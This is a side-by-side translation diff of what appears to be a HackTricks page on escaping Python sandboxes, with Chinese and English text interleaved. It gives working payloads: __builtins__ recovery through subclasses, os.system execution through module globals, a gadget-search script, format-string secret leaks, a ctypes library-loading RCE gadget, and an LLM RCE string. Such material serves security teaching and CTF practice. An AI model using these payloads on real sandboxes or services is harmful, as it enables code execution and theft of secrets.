[**下面有一个更大的函数**](#recursive-search-of-builtins-globals) 以查找数十/**数百**个可以找到 **builtins** 的 **位置**。
 | 
					[**Below there is a bigger function**](#recursive-search-of-builtins-globals) 用于查找数十/**数百**个**位置**,您可以在这些位置找到 **builtins**。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
#### Python2 和 Python3
 | 
					#### Python2 and Python3
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
# Recover __builtins__ and make everything easier
 | 
					# Recover __builtins__ and make everything easier
 | 
				
			||||||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
 | 
					__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
 | 
				
			||||||
@ -383,9 +383,9 @@ __builtins__["__import__"]("os").system("ls")
 | 
				
			|||||||
# There are lots of other payloads that can be abused to execute commands
 | 
					# There are lots of other payloads that can be abused to execute commands
 | 
				
			||||||
# See them below
 | 
					# See them below
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
## 全局和局部
 | 
					## Globals and locals
 | 
				
			||||||
 | 
					
 | 
				
			||||||
检查 **`globals`** 和 **`locals`** 是了解你可以访问哪些内容的好方法。
 | 
					检查 **`globals`** 和 **`locals`** 是了解你可以访问的内容的好方法。
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
>>> globals()
 | 
					>>> globals()
 | 
				
			||||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
 | 
					{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
 | 
				
			||||||
@ -409,15 +409,15 @@ class_obj.__init__.__globals__
 | 
				
			|||||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
 | 
					[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
 | 
				
			||||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
 | 
					[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) 以查找数十/**数百**个**位置**,您可以在这些位置找到**globals**。
 | 
					[**Below there is a bigger function**](#recursive-search-of-builtins-globals) 用于查找数十/**数百** 个可以找到 **globals** 的 **位置**。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## 发现任意执行
 | 
					## 发现任意执行
 | 
				
			||||||
 | 
					
 | 
				
			||||||
在这里我想解释如何更容易地发现已加载的**更危险的功能**,并提出更可靠的利用方法。
 | 
					在这里我想解释如何轻松发现 **已加载的更危险功能** 并提出更可靠的利用方法。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
#### 使用绕过方法访问子类
 | 
					#### 使用绕过方法访问子类
 | 
				
			||||||
 | 
					
 | 
				
			||||||
该技术最敏感的部分之一是能够**访问基类的子类**。在前面的示例中,这是通过 `''.__class__.__base__.__subclasses__()` 完成的,但还有**其他可能的方法**:
 | 
					该技术最敏感的部分之一是能够 **访问基类的子类**。在之前的示例中这是通过 `''.__class__.__base__.__subclasses__()` 完成的,但还有 **其他可能的方法**:
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
#You can access the base from mostly anywhere (in regular conditions)
 | 
					#You can access the base from mostly anywhere (in regular conditions)
 | 
				
			||||||
"".__class__.__base__.__subclasses__()
 | 
					"".__class__.__base__.__subclasses__()
 | 
				
			||||||
@ -447,16 +447,16 @@ defined_func.__class__.__base__.__subclasses__()
 | 
				
			|||||||
```
 | 
					```
 | 
				
			||||||
### 查找已加载的危险库
 | 
					### 查找已加载的危险库
 | 
				
			||||||
 | 
					
 | 
				
			||||||
例如,已知使用库 **`sys`** 可以 **import arbitrary libraries**,你可以搜索所有 **modules loaded that have imported sys inside of them**:
 | 
					例如,知道使用库 **`sys`** 可以 **import arbitrary libraries**,你可以搜索所有 **modules loaded that have imported sys inside of them**:
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
 | 
					[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
 | 
				
			||||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
 | 
					['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
有很多,但**我们只需要一个**来执行命令:
 | 
					有很多,而**我们只需要一个**来 execute commands:
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
 | 
					[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
我们可以对**其他库**(我们知道可用于**执行命令**)做同样的事情:
 | 
					我们可以对我们知道可以用来**执行命令**的**其他库**做同样的事情:
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
#os
 | 
					#os
 | 
				
			||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
 | 
					[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
 | 
				
			||||||
@ -491,7 +491,7 @@ defined_func.__class__.__base__.__subclasses__()
 | 
				
			|||||||
#pdb
 | 
					#pdb
 | 
				
			||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
 | 
					[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
此外,我们还可以搜索哪些模块正在加载恶意库:
 | 
					此外,我们甚至可以搜索哪些模块正在加载恶意库:
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
 | 
					bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
 | 
				
			||||||
for b in bad_libraries_names:
 | 
					for b in bad_libraries_names:
 | 
				
			||||||
@ -510,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
 | 
				
			|||||||
pdb:
 | 
					pdb:
 | 
				
			||||||
"""
 | 
					"""
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
此外,如果你认为 **其他库** 可能能够 **调用函数来执行命令**,我们也可以在可能的库中 **按函数名称过滤**:
 | 
					此外,如果你认为 **other libraries** 可能能够 **invoke functions to execute commands**,我们也可以在可能的 libraries 中 **filter by functions names**:
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
 | 
					bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
 | 
				
			||||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
 | 
					bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
 | 
				
			||||||
@ -546,7 +546,8 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
 | 
				
			|||||||
## 递归搜索 Builtins, Globals...
 | 
					## 递归搜索 Builtins, Globals...
 | 
				
			||||||
 | 
					
 | 
				
			||||||
> [!WARNING]
 | 
					> [!WARNING]
 | 
				
			||||||
> 这真是**太棒了**。如果你正在**寻找像 globals, builtins, open 或任何其他对象**,只需使用此脚本来**递归地查找可以找到该对象的位置。**
 | 
					> 这真是 **太棒了**。
 | 
				
			||||||
 | 
					> 如果你正在 **寻找像 globals, builtins, open 或任何其他对象**,只需使用此脚本来 **递归地查找可以找到该对象的地方。**
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
import os, sys # Import these to find more gadgets
 | 
					import os, sys # Import these to find more gadgets
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -662,7 +663,7 @@ print(SEARCH_FOR)
 | 
				
			|||||||
if __name__ == "__main__":
 | 
					if __name__ == "__main__":
 | 
				
			||||||
main()
 | 
					main()
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
你可以在此页面查看该脚本的输出:
 | 
					您可以在此页面查看该脚本的输出:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#ref}}
 | 
					{{#ref}}
 | 
				
			||||||
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
 | 
					https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
 | 
				
			||||||
@ -670,7 +671,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
## Python Format String
 | 
					## Python Format String
 | 
				
			||||||
 | 
					
 | 
				
			||||||
如果你 **发送** 一个 **字符串** 给 python,且该字符串将被 **格式化**,你可以使用 `{}` 来访问 **python 内部信息**。例如,你可以使用之前的例子来访问 globals 或 builtins。
 | 
					如果你 **send** 一个将被 **formatted** 的 **string** 给 python,你可以使用 `{}` 来访问 **python internal information.** 你可以使用之前的示例来访问 globals 或 builtins。
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
 | 
					# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
 | 
				
			||||||
CONFIG = {
 | 
					CONFIG = {
 | 
				
			||||||
@ -690,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
 | 
				
			|||||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
 | 
					st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
 | 
				
			||||||
get_name_for_avatar(st, people_obj = people)
 | 
					get_name_for_avatar(st, people_obj = people)
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
注意你可以像 `people_obj.__init__` 那样使用 **点** 以正常方式访问属性,以及使用不带引号的 **中括号** 访问 dict 元素,例如 `__globals__[CONFIG]`
 | 
					注意你可以用 **点** 的常规方式访问属性,例如 `people_obj.__init__`,并可以用 **方括号**(不带引号)访问 **dict 元素**,如 `__globals__[CONFIG]`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
另外注意,你可以使用 `.__dict__` 来枚举对象的元素,例如 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
 | 
					另外注意你可以使用 `.__dict__` 来枚举对象的元素,例如 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
格式化字符串的另一个有趣特性是可以通过在目标对象后添加 **`!s`**, **`!r`**, **`!a`** 来分别执行 **`str`**, **`repr`** 和 **`ascii`** 函数:
 | 
					格式化字符串的另一个有趣特性是可以在指定对象上执行函数 **`str`**、**`repr`** 和 **`ascii`**,方法是在后面分别添加 **`!s`**、**`!r`**、**`!a`**:
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
 | 
					st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
 | 
				
			||||||
get_name_for_avatar(st, people_obj = people)
 | 
					get_name_for_avatar(st, people_obj = people)
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
此外,可以在类中 **code new formatters**:
 | 
					此外,可以在类中**编写新的格式化器**:
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
class HAL9000(object):
 | 
					class HAL9000(object):
 | 
				
			||||||
def __format__(self, format):
 | 
					def __format__(self, format):
 | 
				
			||||||
@ -710,17 +711,17 @@ return 'HAL 9000'
 | 
				
			|||||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
 | 
					'{:open-the-pod-bay-doors}'.format(HAL9000())
 | 
				
			||||||
#I'm afraid I can't do that.
 | 
					#I'm afraid I can't do that.
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
**更多示例**:关于 **format** **string** 的示例可以在 [**https://pyformat.info/**](https://pyformat.info) 找到
 | 
					**更多示例**:关于 **format** **string** 的更多内容可见 [**https://pyformat.info/**](https://pyformat.info)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
> [!CAUTION]
 | 
					> [!CAUTION]
 | 
				
			||||||
> 还请查看以下页面,了解会 r**ead sensitive information from Python internal objects** 的 gadgets:
 | 
					> 另请查看以下页面,包含能够 r**ead sensitive information from Python internal objects** 的 gadgets:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#ref}}
 | 
					{{#ref}}
 | 
				
			||||||
../python-internal-read-gadgets.md
 | 
					../python-internal-read-gadgets.md
 | 
				
			||||||
{{#endref}}
 | 
					{{#endref}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### 敏感信息披露 Payloads
 | 
					### 敏感信息泄露 Payloads
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
{whoami.__class__.__dict__}
 | 
					{whoami.__class__.__dict__}
 | 
				
			||||||
{whoami.__globals__[os].__dict__}
 | 
					{whoami.__globals__[os].__dict__}
 | 
				
			||||||
@ -740,18 +741,19 @@ str(x) # Out: clueless
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
来自 [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
 | 
					来自 [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### From format to RCE loading libraries
 | 
					### 从 format 到 RCE 加载库
 | 
				
			||||||
 | 
					
 | 
				
			||||||
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
 | 
					根据 [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/),可以滥用 format string vulnerability in python 从磁盘加载任意库。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
作为提醒,每次在 python 中执行一个操作时,都会调用某个函数。例如 `2*3` 会执行 **`(2).mul(3)`**,或者 **`{'a':'b'}['a']`** 会执行 **`{'a':'b'}.__getitem__('a')`**。
 | 
					提醒一下,每当在 python 中执行某个操作时,都会调用相应的函数。例如 `2*3` 会执行 **`(2).mul(3)`**,或者 **`{'a':'b'}['a']`** 会执行 **`{'a':'b'}.__getitem__('a')`**。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
在章节 [**Python execution without calls**](#python-execution-without-calls) 中有更多类似的内容。
 | 
					更多类似例子见章节 [**Python execution without calls**](#python-execution-without-calls)。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
 | 
					python 的 format string vuln 不允许执行函数(它不允许使用圆括号),因此无法像 `'{0.system("/bin/sh")}'.format(os)` 那样获得 RCE。\
 | 
				
			||||||
但是,可以使用 `[]`。因此,如果某个常见的 python 库具有会执行任意代码的 **`__getitem__`** 或 **`__getattr__`** 方法,就可以滥用它们以获得 RCE。
 | 
					 | 
				
			||||||
 | 
					
 | 
				
			||||||
在 python 中寻找这种 gadget 时,writeup 给出了这个 [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)。他在那里发现了这个 [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
 | 
					然而,可以使用 `[]`。因此,如果某个常用的 python 库具有会执行任意代码的 **`__getitem__`** 或 **`__getattr__`** 方法,就可以滥用它们来获取 RCE。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					在 python 中寻找这样的 gadget 时,writeup 提出了这个 [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)。他在其中找到了这个 [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
class LibraryLoader(object):
 | 
					class LibraryLoader(object):
 | 
				
			||||||
def __init__(self, dlltype):
 | 
					def __init__(self, dlltype):
 | 
				
			||||||
@ -773,18 +775,18 @@ return getattr(self, name)
 | 
				
			|||||||
cdll = LibraryLoader(CDLL)
 | 
					cdll = LibraryLoader(CDLL)
 | 
				
			||||||
pydll = LibraryLoader(PyDLL)
 | 
					pydll = LibraryLoader(PyDLL)
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
此 gadget 允许**从磁盘加载库**。因此,需要以某种方式**将要加载的库写入或上传**到被攻击的服务器,并确保其为该服务器正确编译。
 | 
					这个 gadget 允许 **load a library from disk**。因此,需要以某种方式将 **write or upload the library to load** 正确编译并上传到被攻击的服务器。
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
 | 
					'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
该挑战实际上利用了服务器上的另一个漏洞,该漏洞允许在服务器磁盘上创建任意文件。
 | 
					这个挑战实际上滥用了服务器中的另一个漏洞,允许在服务器磁盘上创建任意文件。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## 解析 Python 对象
 | 
					## 分析 Python 对象
 | 
				
			||||||
 | 
					
 | 
				
			||||||
> [!TIP]
 | 
					> [!TIP]
 | 
				
			||||||
> 如果你想**学习**关于**python bytecode**的深入内容,请阅读这篇**awesome**文章:[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
 | 
					> 如果你想**学习**关于**python bytecode**的深入内容,请阅读这篇关于该主题的**精彩**文章: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
在一些 CTFs 中,你可能会被提供一个**custom function where the flag**的名称,你需要查看该**function**的**internals**以提取它。
 | 
					在一些 CTFs 中,你可能会被提供一个**custom function where the flag** 的名称,你需要查看该 **function** 的 **internals** 来提取它。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
这是要检查的函数:
 | 
					这是要检查的函数:
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
@ -797,16 +799,16 @@ return "THIS-IS-THE-FALG!"
 | 
				
			|||||||
else:
 | 
					else:
 | 
				
			||||||
return "Nope"
 | 
					return "Nope"
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
#### dir
 | 
					#### 目录
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
dir() #General dir() to find what we have loaded
 | 
					dir() #General dir() to find what we have loaded
 | 
				
			||||||
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
 | 
					['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
 | 
				
			||||||
dir(get_flag) #Get info tof the function
 | 
					dir(get_flag) #Get info tof the function
 | 
				
			||||||
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
 | 
					['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
#### 全局
 | 
					#### globals
 | 
				
			||||||
 | 
					
 | 
				
			||||||
